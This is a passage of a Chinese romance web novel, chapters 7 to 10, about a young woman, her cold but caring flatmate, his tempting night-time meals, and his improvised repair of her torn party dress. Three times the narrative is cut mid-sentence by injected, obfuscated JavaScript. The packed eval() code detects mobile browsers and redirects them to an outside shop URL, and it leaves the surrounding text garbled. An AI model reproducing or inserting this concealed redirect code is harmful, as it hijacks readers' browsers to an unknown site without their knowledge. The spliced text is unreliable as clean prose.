“五官刚好长在我的审美点上,若是收起周身冷意,绝对是惊艳众人的长相,不知道能迷住多少女生。” 心底忽然冒出疑惑,这人究竟是什么来历?她起身拿起角落的薄毯,轻轻盖在他身上,又凝神多看了两眼,关掉客厅灯光,轻手轻脚走入卧室。 7. 吃货的世界不需要解释 自那日后,家里清晨的烟火气,尽数由柳廷砚包揽。 每日一早,餐桌上总会备好温热精致的早餐。只是他向来自顾自用餐,只摆放自己那一份,从不主动多备。 刘瞳早就摸清了他别扭冷淡的性子,也懒得和他计较。吃饭时,她总撑着脸颊,对着餐盘问东问西,从食材问到烹制手法。柳廷砚垂着眼,面无表情,耐心逐一回应她没完没了的碎碎念。 而每到傍晚六点过后,柳廷砚都会准时出门,去到刘瞳兼职的地方,陪着她一同干活。 傍晚街头晚风徐徐,刘瞳戴着笨重的熊猫头套派发传单。咖啡店的小哥走出店门,朝着她扬起温和的笑容:“小瞳!我新调试了一款咖啡,要不要过来尝尝?” 听见有免费饮品,刘瞳两眼瞬间发亮,连忙应声:“好呀好呀!” 她抬脚正要往前走,手腕猛地被人攥住。一旁戴着熊猫头套、手里拿着传单的柳廷砚拦住了她。 刘瞳试着挣扎两下,手腕纹丝不动,疑惑开口:“你干什么?要喝我们可以一起过去啊。” 许久,头套内飘出闷闷、带着不悦的声音:“不许去。” “为什么?”刘瞳一头雾水,再次轻轻挣扎,奈何对方力道太大,根本挣脱不开。 “我说,不许去。” 刘瞳额角冒出黑线,无可奈何,只能转头朝着咖啡店小哥尴尬讪笑:“不好意思啦,我暂时不渴,下次再说!” 小哥眼底笑意淡了几分,目光若有似无扫过她身后的柳廷砚,淡淡一笑,转身回到店内。 等人影消失,柳廷砚才松开手。刘瞳揉着泛红的手腕,瞪了他一眼,鼓着腮帮子小声嘟囔:“小气鬼,我的免费饮品就这样没了。” 短暂休息间隙,两人坐在街角角落。刘瞳喝了一口水,若有所思看向全程压低帽子、遮住大半张脸的柳廷砚。 “小丑哥,你天天把头埋这么低,不怕驼背吗?” 柳廷砚投来一道看待笨蛋的眼神:“还不是怕某人独自操劳过度,我于心有愧。” 恰好有路人经过,他立刻下意识压低头颅,尽量掩藏样貌。 刘瞳灵光一闪:“你不是懂得化妆吗?直接化妆遮挡容貌不就行了?现在化妆技术厉害得很,男能变女,普通人也能修饰得焕然一新。” 柳廷砚淡淡反问:“你有化妆品?” “啊!”刘瞳猛地一拍额头,恍然大悟,“我平时不化妆,家里一件都没有。” 她凑近他,眼里闪过恶作剧的光芒:“要不,我往你脸上涂两层面粉将就一下?” 柳廷砚斜睨着她:“你要是敢涂,我便往你脸上也糊一层。” 一句话堵得刘瞳哑口无言,悻悻收起心思。 下班之后,两人骑着共享单车途经一家礼服店。 “你等我一下!” 刘瞳急忙停下车,快步冲进店里。柳廷砚眼底带着几分疑惑,扫了一眼店铺招牌,将单车停靠路边,跟着走了进去。 店内暖光柔和,刘瞳正兴奋地和店员交谈,一双杏眼里星光点点。 “之前拜托你们预留的米白色抹胸短裙,可以再拿给我看一看吗?” “当然,请您稍等。”服务员礼貌转身取裙。 柳廷砚倚靠在玻璃门边,望着她满心期待的模样,心底泛起浅浅笑意。不多时,服务员捧着那条礼裙走来。 刘瞳目光牢牢锁在裙摆上,满眼憧憬。 “能不能麻烦您举着裙子,我拍几张照片?”她眨巴着眼睛轻声请求。 “没问题。” 服务员将礼裙捧在身前,刘瞳立刻掏出手机接连拍照。柳廷砚看在眼里,心中了然,想来是她十分喜爱这条裙子,暂时无力买下,只能拍照留念。他无声地轻轻嗤笑,而专注拍照的刘瞳丝毫没有察觉自己已经被他暗自调侃。 “方便翻到背面让我拍吗?” 服务员十分耐心,依言将礼裙翻转,脸上始终保持得体的微笑。 拍完照片,刘瞳认真道谢:“麻烦继续帮我保留这条裙子,过几天我一定过来买下它!” 返程路上,柳廷砚一路沉默骑行。 刘瞳按捺不住好奇,主动问道:“怎么样,那条裙子好看吧?” “还行。”柳廷砚语气平淡。 “什么叫还行?你审美也太差了!”刘瞳当即不淡定了。 “你打算自己穿?”柳廷砚余光打量她。 “不然呢,难不成给你穿?”刘瞳翻了个白眼。 柳廷砚勾起唇角,带着几分戏谑:“你穿得下?” 这话瞬间点燃刘瞳,她像炸毛的小猫,气冲冲瞪着他:“你什么意思!觉得我胖?柳廷砚你欠收拾!我哪里胖了?” 她张牙舞爪,抬脚轻踹他的单车,柳廷砚迅速脚掌撑地稳住车身,避免摔倒。 “性子这般粗鲁,哪个男人敢娶你。”柳廷砚无奈摇头。 “与你无关!”刘瞳气呼呼回怼。 柳廷砚转头,目光直直望向她:“我说你最近拼命兼职赚钱,原来是为了这条裙子。” 被戳中心事,刘瞳心底一慌,连忙侧过脑袋避开他的视线,支支吾吾:“什、什么叫只为裙子!就算不买裙子,我也要养活你这尊闲人!” 柳廷砚还想继续追问,刘瞳已经蹬着单车向前窜出去很远。他凝视她远去的背影,凤眸微微一敛,心绪沉沉。 第二天夜里十一点,刘瞳才拖着满身疲惫回到住处。 又饿又困,她一边开门一边小声抱怨:“可恶的小丑哥,今天居然不来陪我干活!害得我心神不宁,硬生生多加班半小时。还好今天搬运的东西不重,不然我今天怕是要直接累倒!” “吱呀”一声门开,厨房飘出阵阵食物香气。柳廷砚正在灶台边忙碌。 刘瞳心生好奇,悄悄摸到门口观望。见他没有发现自己,她眼珠一转,猛地跳出去想要吓他一跳。 可惜计划落空,柳廷砚头也不抬,只送给她一个看傻子的眼神。 刘瞳备受打击,迅速收敛情绪转移话题:“你在做什么?” “看不见?”柳廷砚淡淡瞥她一眼。 暴击袭来,刘瞳暗自深呼吸劝自己大度,不和他争执。 “你今天不去兼职,就是在家折腾饭菜?” “我从未承诺每日陪你。” 简简单单一句话,堵得刘瞳无话可说,只能悻悻走进卫生间。 等她走出卫生间,诱人香气扑面而来,肚子不合时宜发出咕咕的声响。 餐桌前,柳廷砚姿态优雅地独自用餐,闲适自在。刘瞳摸了摸空空的肚子,赌气扭头打算回卧室。 身后传来幽幽一声:“不饿?” 刘瞳脚步一顿,猛地回头硬声道:“不饿!” 话音刚落,肚子再次响起动静。她尴尬地捂住小腹,幽怨地盯着柳廷砚。 柳廷砚放下刀叉,慢条斯理擦拭嘴角,故意打趣:“哪里来的小鸡叫声?” 刘瞳咬牙切齿,怒目圆睁。 柳廷砚故作惋惜:“今天心血来潮,做了意大利和法国两道招牌菜,传说低脂无卡路里。可惜没人品尝,只能白白浪费。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847925|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > 说罢,他伸手想要端走餐盘。 “别动!” 刘瞳立马冲上前抢过盘子,抛开所有形象大口进食。 柳廷砚吃饭慢条斯理耗费半小时,她五分钟就光盘见底。他靠在门框上,饶有兴致地看着她满足的模样。 “嗝——吃饱啦!”刘瞳瘫坐在椅子上,揉着鼓起的肚子,看向正在翻阅杂志的柳廷砚,心存侥幸,“这顿饭真的没有卡路里吧?” 柳廷砚缓缓抬眸,露出一抹浅淡笑意。刘瞳心底警铃大作,瞬间坐直身子。 “不好意思,我记错了。今晚这两道,热量恰恰最高。” “柳廷砚!” 看着他得意的模样,刘瞳气得牙痒痒,差点抓起空盘子朝他丢过去。而柳廷砚望着她抓狂的样子,唇角笑意慢慢漾开。 自这天开始,柳廷砚隔三差五就烹制丰盛夜宵。刘瞳下定决心减肥,尝试锁在卧室、塞上纸巾隔绝香气,可脑海里总会不断浮现美食画面,根本无法专心做事。无数个夜晚,她躲在房间里暗自吐槽某人太过恶劣。 又一日,刘瞳拖着筋疲力尽的身体回家。视线一瞥,看见柳廷砚腰间仅仅裹着一条浴巾,悠闲坐在餐桌前用餐。 肚子又一次不争气地发出声响。刘瞳苦着脸拍了拍小腹,转身打算回卧室。 “今日做了日韩人气料理,味道很不错。”柳廷砚拉长语调,刻意引诱。 刘瞳脚步顿住,怒火涌上心头。 明明白白知道她在控制体重,还夜夜用美食引诱她!上一回吃完高热量大餐,辛苦减掉的体重全部反弹,想到这里,她更是怒火中烧。 她转过身双手抱胸:“吃吃吃,成天就知道吃!长相本就普通,再长胖,怕是只有寺庙肯收留你。” “依我看该去寺庙的是你,易胖体质。”柳廷砚目光从容扫过她全身。 “你!”刘瞳涨红脸颊,半天说不出反驳的话。 “我吃夜宵,与你无关。”柳廷砚轻轻耸肩。 讲不过对方,刘瞳狠狠一转身,重重关上卧室房门。 屋内归于安静。柳廷砚望着紧闭的房门,脸上笑意消散,再也没有用餐的心思,躺到沙发上,却久久无法入眠。 他不停翻身,脑子里反复回想:从前的刘瞳随心吃喝,毫不在意体重,最近却每样食物都仔细查看热量,拼命兼职、坚持减肥。到底是什么改变了她? 礼服店内那条米白色礼裙忽然浮现在脑海。 是同学聚会?公司晚宴? 还是……要去见心上人? 这个猜想冒出,柳廷砚猛地坐起身,眉头紧锁。相处许久,他从未听说刘瞳有交往对象,他反复猜测,不断推翻想法,整整一夜辗转难眠。 次日清晨,刘瞳推开房门,一眼看见坐在沙发上、顶着浓重黑眼圈的柳廷砚。 “啧啧,熬夜失眠遭报应了吧!”刘瞳扬着笑脸,满心畅快。 柳廷砚忧郁地看她一眼,躺下补觉,懒得争辩。 “活该!”刘瞳朝他做个鬼脸,开开心心出门上班。 关门声响起,柳廷砚缓缓睁眼,抬手按压发胀的太阳穴,重重叹气。 他一定是疯了,才会为这种琐事纠结整夜。 起身走进卫生间,冷水扑在脸颊上,试图理清纷乱的心绪。双手撑住洗手台,抬眼看向镜中人,眼眸深沉。 距离他抽身离开这座城市,回归原本的生活,只剩下一个月。 心底突如其来涌出难以忽视的不舍。他从口袋摸出一把钥匙,垂眸静静看着,万千思绪纠缠不休。 8. 短暂的闹别扭 日子悄然流转,一晃便到了宴会前一晚。 刘瞳趴在书桌前,指尖紧紧点着日历,目光定定落在明天的日期上。 “明天就能见到学长了,明明盼了这么久,真的临近,反倒觉得一点准备都没有。”她耷拉着眼皮,粉唇微微嘟起,语气里混杂着期待与忐忑。 “叮铃——”桌上的手机屏幕骤然亮起。 刘瞳连忙接通视频,屏幕里出现宋琳琳熟悉的面孔。 “怎么无精打采的,难道生病了?”宋琳琳眉头轻蹙,满眼担忧。 “唉,总觉得时间过得太快了。” 宋琳琳闻言挑眉,故作惊讶:“不对啊,前些天你天天念叨日子难熬,恨不得立刻见到学长,怎么这会儿又嫌太快?” “我这不是心里没底,还没准备妥当嘛。”刘瞳皱了皱小巧的鼻尖。 “别总唉声叹气,老话都说叹气耗福气。再说有什么难办的,礼服你早就预留好了,明天一早你来我家,我亲自给你化妆,保管把你打扮得光彩照人!”宋琳琳拍着胸脯,信誓旦旦。 “不是打扮的问题。”刘瞳耷拉下脑袋,小脸皱成一团,“我从来没有参加过正式宴会,怕举止失礼,当众闹出笑话,到时候岂不是要被学长看见?” “那干脆别去了。”宋琳琳翻了个白眼逗她。 “那怎么行!我辛辛苦苦兼职这么久,全都是为了明天!”刘瞳猛地坐直身子,瞬间炸毛。 “跟你开玩笑的,放宽心。明天你寸步不离跟着我,有我护着你。”宋琳琳一副大女子担当的模样。 “好吧。”刘瞳扯出一抹勉强的笑容,心底依旧萦绕着不安。 宋琳琳眼珠一转,忽然凑近屏幕,一脸八卦:“对了,你和家里那尊大佛最近进展怎么样?有没有……” “你别胡思乱想。”刘瞳语气坦然又坚决,“我和他只是合租。我心里只有学长,容不下其他人,半分余地都没有。” “呜呜,合着我也排不上号,妥妥重色轻友!”宋琳琳佯装委屈,抬手虚抹了一把不存在的眼泪。 刘瞳看着好友夸张的模样,接连翻了好几个大大的白眼,懒得接话。 “我困啦,不聊咯。你早点休息,养足精神,千万别熬出黑眼圈!”宋琳琳打了个长长的哈欠。 “知道啦,快去睡。”刘瞳匆匆挂断视频,起身从床头柜翻出一堆护肤品,抱着走进卫生间。 客厅里,柳廷砚正看着电视。余光瞥见她抱着大大小小瓶罐匆匆进卫生间,紧接着传来哗哗不息的流水声。 持续不断的水声扰得他心神不宁,屏幕里播放的新闻再也看不进去,视线总是不受控制地飘向卫生间的方向。 卫生间内,刘瞳一边哼着轻快小调,一边畅想着明天和学长相遇的画面,手上不停往脸上涂抹护肤品,自得其乐。 “你前些天还抱怨水费昂贵,现在倒是毫不节约。” 突如其来的男声吓了刘瞳一跳,她手腕猛地一颤,那罐价格不菲的洁面乳径直摔落在地砖上。 刘瞳瞳孔骤然放大,整个人僵在原地。 这是她舍不得日常使用的洁面乳,今天才第一次开封,就这样毁了!巨大的心疼瞬间席卷心头,难受得无以言表。 “你干什么突然出声!”刘瞳半边脸颊还敷着白色洁面膏,怒瞪倚靠在卫生间门框上的柳廷砚。 柳廷砚丝毫没有察觉她汹涌的情绪,淡淡开口:“方才指责我浪费水源,你自己不也是一样。” “我乐意,和你无关!”刘瞳提高音量,眼眶渐渐泛红。 她带着一丝哽咽蹲下身,指尖颤抖地看向罐口洒落出来的膏体,心疼得无从下手。 僵持片刻,她攥紧拳头猛地抬头,冲着柳廷砚低吼:“你赔我的洁面乳!” “平日里不见你这般精心护肤,怎么今日突然上心?”柳廷砚神色平静。 “关你什么事!” 刘瞳狠狠瞪了他一眼,伸手想要收集流落在外的洁面乳,可膏体柔软极易化开,一切都是徒劳。心底憋满闷气,胸腔剧烈起伏,委屈无处宣泄。 柳廷砚见她情绪激动,眸色微微一沉,上前拿起洗手台上一瓶护肤品递过去:“护肤贵在坚持,若是想要短期提亮,这款更合适。” “不用你假好心,出去!”刘瞳目光放空,没有看他,伸手指向门口。 “柳廷砚,我让你滚出去!” 长久得不到回应,刘瞳猛地抬头,直直撞进他幽深的凤眸。 柳廷砚眼底掠过一丝不易察觉的受伤,可沉浸在怒火中的刘瞳全然没有发现。两人四目相对,气氛僵持压抑。 最终还是柳廷砚率先打破僵局。他轻轻叹了口气,将护肤品放回原位,安静走出卫生间,顺手合上房门。 房门关上的一瞬,刘瞳鼻尖一酸,积攒许久的委屈轰然爆发。滚烫的泪珠簌簌滚落,冲刷掉半边脸上的洁面膏,留下一道清晰水痕。她蹲在地上,小声呜咽起来。 门外,柳廷砚清晰听见里面断断续续的哭声,心口莫名骤然一紧。 他脸色沉了沉,烦躁地扯了扯衣领,坐回沙发,胡乱按着遥控器切换频道,却半点看不进去。索性关掉电视,靠着沙发闭目沉思。 不过一罐护肤品,何至于哭得如此伤心? 一个猜想突兀闯进脑海:她明天,果然是要去见男人? 次日夜晚八点 柳廷砚依旧坐在客厅,电视开着,心思却全然不在画面上,视线频频飘向紧闭的卧室房门。 傍晚刘瞳提着礼服回家时,脸色本就闷闷不乐,看见他之后更是直接冷下小脸,一言不发冲进卧室。 从那时到现在,房门再也没有打开过。 柳廷砚心底满是憋屈。不过一支面霜而已,至于生气整整一天?果然都说唯女子难养也。念头刚冒出来,他又暗自否认,自己可算不上小人。思绪纷乱,神情变幻不定。 就在他犹豫要不要敲门试探时,“哐当”一声轻响,卧室门终于推开。 柳廷砚抬眼望去,呼吸微微一顿。 刘瞳身着那条心心念念的米白色抹胸礼裙,小心翼翼反手带上房门。她转头,正好对上柳廷砚满眼惊艳的目光。 柳廷砚的视线缓缓扫过她玲珑柔和的身段, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847926|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 白皙纤细的长腿、精致清晰的蝴蝶锁骨尽数展露,喉结不受控制轻轻滚动一圈。 刘瞳淡淡白了他一眼,背上挎包,从他身侧经过,朝着玄关大门走去。 “我送你。” 柳廷砚忽然开口,拦下她的脚步。 刘瞳脚步短暂停顿,没有回头,径直走向门口。十厘米的细高跟踩在地板上,清脆作响。她指尖刚握住门把手,一只宽大温热的手掌轻轻覆了上来。 “放开。”刘瞳声音冷淡疏离。 “天色太晚,女孩子独自搭乘公交不安全,我送你前往宴会。”柳廷砚牢牢按住门把手。 “不必,谢谢。” “我有车,就当为昨晚的事向你道歉。”柳廷砚语气软了下来,藏着一丝不易察觉的急切。 两人静静对视一分钟。刘瞳缓缓松开手,双手抱胸,眼神示意他穿鞋出发。 柳廷砚心中一喜,立刻起身穿鞋。 “等等!” 柳廷砚刚踏出玄关,身后的刘瞳忽然出声叫住他。 他茫然回头,只见刘瞳无奈打量他片刻,转身走回卧室,再出来时,手中拿着一枚狐狸面具递到他面前。 柳廷砚瞬间明白她的用意,乖乖接过戴好,唇角不受控制向上扬起。 两人步行十五分钟,抵达一处地下车库。 一辆黑色保时捷静静停在车位上,映入眼帘。刘瞳满眼震惊,绕着车子来回打量,眼睛越睁越大,诧异藏都藏不住。 “这是你的车?”刘瞳转头看向正在检查车身的柳廷砚。 “嗯。”柳廷砚轻轻颔首,确认车况无误后拿出车钥匙解锁,车灯闪烁两下。 “上车。” 他率先坐进驾驶座。刘瞳兴冲冲跑到副驾,开门坐了进去。 坐进车内,她一双乌溜溜的大眼睛四处张望,止不住好奇,面具之下,柳廷砚的笑意越发清晰,将钥匙插入启动车辆,缓缓倒车。 “你明明有车,怎么从来不说?”刘瞳鼓着脸颊嗔怪。 “你不曾问起。这辆车我也是前两天过来查看,之前一度以为被人拖走了。”柳廷砚一边开车一边答话。 刘瞳恍然大悟,依旧好奇地打量车内内饰,小手忍不住四处轻轻触碰。 心底暗自激动,这是她第一次坐保时捷,体验感超乎想象! “先去琳琳家,我还没有化妆。”刘瞳开口提醒。 柳廷砚猛地转头,一瞬不瞬望向她素净的脸庞。 “看什么?我平时很少化妆,不精通不是很正常吗。”被他看得不好意思,刘瞳偏过头避开视线。 “呵。”柳廷砚收回目光,望着前路低声轻笑。 “你笑什么!有什么好笑的?本小姐天生丽质,素颜照样好看!”听见他的笑声,刘瞳误以为他在取笑自己,心底闷闷的,微微仰头瞪他。 “你打算就这样素颜赴宴?”柳廷砚侧眸瞥她,笑意丝毫未减。 “今时不同往日嘛。”刘瞳小声嘟囔,转过身子望向窗外。 柳廷砚脸上的笑意淡去几分,目光时不时落在她落寞的侧脸上,心绪沉沉。 9. 为我添妆(一) “你在楼下等我。” 刘瞳匆匆推开车门,话音落下便要下车。柳廷砚神色淡淡瞥了她一眼,自顾戴上耳机,后背倚靠在驾驶座,闭目佯装小憩。 刘瞳心里急得火烧火燎,低头确认一眼时间,用力关上副驾车门。可脚步刚迈出去,一股拉力猛地拽住她,令她寸步难行。 她疑惑低头,赫然看见礼服裙角被车门牢牢夹住。刘瞳轻轻扯了两下,布料纹丝不动。她暗自思忖,自己关门不过片刻,对方应当还没落锁,抬手试着拉动车门把手,奈何车门纹丝不动。 无可奈何,她屈指叩响车窗。 车内毫无动静。 她再度敲击,依旧杳无声息。秀眉紧紧蹙起,叩窗的力道不由得加重,回应她的依旧是一片沉寂。 刘瞳深吸一口气,强迫自己压下翻涌的火气,耐着性子持续轻敲车窗。脸上勉强维持的笑意,随着一次次落空,一点点垮了下去。 “喂!开门!” 她顾不上维持仪态,抬手重重拍打玻璃,音量陡然拔高。 暮色徐徐降临,街道上车流往来,零星行人步履匆匆。听见动静,不少路人驻足侧目,好奇地望向这边。一道道视线落在身上,刘瞳浑身僵硬,连忙收敛怒意,故作悠闲倚靠车身,试图让旁人觉得方才的骚动只是错觉。看热闹的人观望片刻,见没有新鲜事,才陆续转身离开。 人潮散去,刘瞳眉头拧成了结,俯身贴近车窗,却怎么也看不清车内景象。心里又急又气,一时间手足无措。 可车里的柳廷砚沉浸在音乐之中,对外发生的一切浑然不觉。 僵持许久,刘瞳打算强行挣脱。她双手攥紧裙摆,先是轻轻拉扯,不敢太过用力——这条米白抹胸裙是她耗费无数心血才定下的,稍有不慎便会彻底损毁。 几番尝试依旧无果,积攒的怒火终于抵达临界点。刘瞳像只炸毛的小猫,眼底情绪翻涌,卯足全身力气狠狠向后一扯。 “刺啦——” 布料撕裂的声响尖锐刺耳,隔着很远都清晰可闻。 这一声响,如同利刃刺穿刘瞳的心,听得她心口阵阵抽痛。 她气急败坏,疯狂拍打车窗,不知持续了多久。柳廷砚似是终于被惊动,缓缓睁开双眼,转头望见车窗上不断起落的手掌,摘下一侧耳机,按下车窗开关。 车窗缓缓下沉,最先映入柳廷砚眼帘的是那片干净柔和的米白色裙摆,再抬眼,便是刘瞳乌云密布的脸庞。 柳廷砚微微挑眉,满眼疑惑。刘瞳一言不发,抬手指向车门。 他后知后觉反应过来,解锁车门。车门敞开,一截米白色布料顺着缝隙滑落,落在那双十厘米细高跟旁。视线顺着修长的鞋跟缓缓上移,白皙纤细的长腿尽数落入眼底,最终定格在裙摆破损处,光洁细腻的肌肤展露在外。 柳廷砚喉头不受控制一紧。 下一瞬,一双白皙的手慌忙挡在破损位置,遮住春光。心底莫名掠过一丝淡淡的失落,他抬眸,直直撞上刘瞳阴沉得仿佛能滴出墨的双眼,心脏猛地咯噔一下。视线在地上的布料与她遮挡的手之间来回扫视,骤然清醒,连忙推门下车。 “我算是发现了,自从遇见你,我就没有一天顺顺利利。” 刘瞳情绪濒临崩溃,难受得几乎想要撞墙。反观柳廷砚,神色依旧平静,轻轻啧了一声,眼睫微微垂落。 “上车。”柳廷砚转身坐回车内。 见刘瞳伫立原地一动不动,他探出头,再度开口:“上车。” 刘瞳板着一张脸坐进副驾,沉重的关门声响起,柳廷砚无奈侧目,旋即发动车子。 车子驶出一段路程,刘瞳拨通宋琳琳的电话。 “琳琳。” “小瞳?你到哪儿了,宴会马上就要开始了!”听筒里传来宋琳琳焦急的声音。 “我恐怕去不了了,你自己去吧。”刘瞳语调低落。身侧的柳廷砚淡淡瞥她一眼,一言不发。 “怎么回事?出什么意外了?”此刻宋琳琳正弯腰穿鞋,准备动身赴宴。 “没什么,你安心过去。学长那边,我会亲自致歉。”刘瞳语气带着几分不耐。 “好吧。”宋琳琳听出她情绪低落,没有过多追问。 “先这样。”刘瞳挂断通话,随手将手机扔进包里。电话另一头的宋琳琳盯着屏幕愣了愣,满心疑惑,片刻后摇摇头,关门下楼。 车厢内气氛凝滞压抑,两人各怀心事,全程沉默无言。 十分钟后,车辆停在一间规模不小的礼服集合店门前。刘瞳面露茫然,全然不解他的用意。 柳廷砚率先下车,绕到副驾打开车门,目光示意她下来。刘瞳正恶狠狠地瞪着他。 “下车,难道你打算穿着破损的裙子到处走动?”柳廷砚不恼,语气清淡。 “来这里做什么,我没有多余的钱再买礼服。”刘瞳磨磨蹭蹭踏出车门,小声嘟囔。 柳廷砚直接攥住她的手腕,拉着她往店内走去。刘瞳瞪大双眼,怔怔望着两人交握的手。 “欢迎光临。”门口服务员扬起甜美的笑容,柳廷砚径直带着刘瞳往里走,没有停留。 “你干什么?难不成你出钱给我买?”刘瞳猛地甩开他的手,压低声音怒嗔。 柳廷砚并未理会,目光缓缓扫过店内陈列,视线最终落在休息区桌上铺着的一块通透白纱上。他来回比对白纱与裙子破损的位置,心中有了盘算。 “请问有剪刀吗?” 他嗓音低沉沙哑,自带磁性。店内客人不多,安静的空间里,声音清晰传开。一名服务员连忙上前,递来一把剪刀。 “借用一下。”柳廷砚接过剪刀,随口丢下一句话,走向摆放白纱的桌椅。伸手抚过布料:“这块纱是刚刚换上的?” “是的,请问您有什么需要,我们可以帮忙。”递剪刀的服务员快步上前。 “这块布,我要了。” 话音落下,刘瞳与店内店员皆是一愣,一时没能明白他打算做什么。 不等刘瞳回过神,柳廷砚已经走到她身前,单膝跪地,剪刀落下。 “咔嚓!” 刺耳的声响响起。 “啊!你做什么!”刘瞳惊呼一声,慌忙捂住大片裸露的大腿。 柳廷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847927|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 砚没有理会她的惊慌,起身朝着怔在原地的服务员扬声吩咐。 “好、好的!”服务员木讷地点头,取下白纱递过去。 柳廷砚拿着纱布上前一步。 “你别过来!”刘瞳连连后退,误以为他要做出出格举动。 重心不稳,她脚下一晃,径直跌进一个宽阔温暖的怀抱。清爽干净的气息萦绕鼻尖,后背忽然被柔软的白纱包裹。她微微抬头,声音细若蚊蚋:“你干什么?” 旁人望去,只觉得是亲密情侣低声私语,画面温柔,不忍打扰。 柳廷砚正抬手,用白纱在她胸前缠绕两层,随后落剪,裁掉多余布料。 “有没有隐形胸扣?”他依旧维持单膝跪地的姿势,将纱布固定在腰间。 “有的!”服务员立刻从储物柜取出两枚递上。 柳廷砚接过,用一枚卡扣固定腰间纱料,防止滑落。他站起身,目光扫过方才裁剪余下的纱料,捡起来比对长度,修剪出合适尺寸,再度屈膝。双臂绕过她纤细的腰肢,纱布环绕一周,在裙摆破损、露出长腿的位置系出一枚蝴蝶结,两端纱线一长一短,错落有致。 刘瞳呆呆伫立,一动不敢动,视线紧紧落在他专注的侧脸上。她全然没有察觉,四周早已围满店员与客人,所有人都安静注视着这一幕。 “胸扣。” 柳廷砚低沉的嗓音在耳畔响起,温热气息拂过耳廓。热浪顺着耳尖蔓延开来,刘瞳脸颊飞速涨红,长长的睫毛不受控制轻轻颤动。 柳廷砚微微俯身,将她胸前缠绕的白纱轻轻向上提起,细致整理裙摆褶皱,把纱料牢牢固定,和原本的裙身衔接在一起。设计一改往日保守模样,单侧修长美腿自然展露,带着恰到好处的撩人氛围感。 “哇!” 柳廷砚站起身的瞬间,周围响起一片惊叹声。 刘瞳缓缓张开手臂,难以置信低头打量焕然一新的礼裙,再抬头对上众人惊讶的目光,最后视线撞上柳廷砚的双眼。霎时间脸颊发烫,像做错事的小姑娘,慌忙挪开视线,小心翼翼走到落地镜前。 镜中的模样惊艳得让她窒息。她心底掀起惊涛骇浪,完全想不到,仅凭一块白纱,便能将破损的裙子改造得这般好看。 “小姐,您先生也太厉害了吧!”方才取配饰的服务员捂着嘴轻笑。 “什么?”刘瞳猛地转头,满眼错愕。 “你们……哎呀,我们误会了!他才不是我先生!我还没有结婚!”刘瞳后知后觉反应过来,急忙开口解释。滚烫的热度源源不断涌向脸颊,整张脸红得快要滴血。 周围众人纷纷捂嘴偷笑,意味深长的目光来回游走在两人身上。 “不是的,你们真的误会了,事情不是你们想的那样!” 刘瞳被众人暧昧的眼神看得手足无措,越着急越解释不清。在旁人眼中,这般慌乱,反倒印证了大家的猜测。 她偷偷抬眼,朝着一旁抱臂、悠闲看戏的柳廷砚使眼色,示意他出面澄清。谁知柳廷砚只是微微挑眉,眼底漾开一抹戏谑似笑非笑地望着她。 刘瞳瞬间语塞,一股闷气堵在胸口。 10. 为我添妆(二) “能麻烦用一下你们的化妆品吗?” 清淡温沉的嗓音漫开,柳廷砚寥寥一句,便轻巧破开了周遭凝滞又局促的尴尬氛围,温柔却自带分寸,不显疏离。 “可以!可以!完全没问题!” 方才还紧张拘谨的服务员瞬间眉眼舒展,脸上挂着温柔的姨母笑,忙不迭地点头哈腰,连忙抬手指引着左侧的房门,态度恭敬又热切。 话音落下,柳廷砚自然抬手,轻轻牵住尚且沉浸在错愕呆滞中的刘瞳,抬步从容走入房间,身后一行人也紧随其后,尽数跟了进来。 刘瞳脑子懵懵的,乖乖落座在梳妆台前,视线下意识落在身侧的男人身上。 只见柳廷砚垂着眸,修长骨感的指尖逐一拿起台面上的化妆品细细翻看,动作慢条斯理,眉眼间却凝着几分浅浅的不耐,似是对这些市面上普通的彩妆不甚满意。 不过短短半分钟,他便结束了挑选,俯身凑近。 下一瞬,微凉细腻的指腹轻轻贴上她的脸颊,动作轻柔得不可思议。 刘瞳的身体瞬间彻底僵住,脊背绷得笔直,下意识紧闭双眼,连呼吸都放得极轻。 脸上传来一阵阵细碎轻柔的触感,毛刷轻轻扫过眼睑,带着微微发痒的酥麻,偶尔是柔软的粉扑轻轻按压面颊,细腻温柔。 她心底满是茫然与无措,全然不懂化妆步骤,可一想到此刻是柳廷砚在亲手为她上妆,心头便翻涌着说不清道不明的别扭与羞涩。 长这么大,这是她第一次被异性如此近距离、耐心细致地对待。 两人距离近得过分,近到呼吸交缠,近到他定然能看清她脸上每一寸肌肤、每一处细微的瑕疵。 刘瞳心里忍不住胡思乱想。 他会不会暗自嫌弃她肤质不够完美?会不会悄悄记下她的小缺点,事后暗自吐槽取笑? 细碎的心思缠满心头,让她浑身紧绷,浑身都透着不自在。 “你紧张什么?” 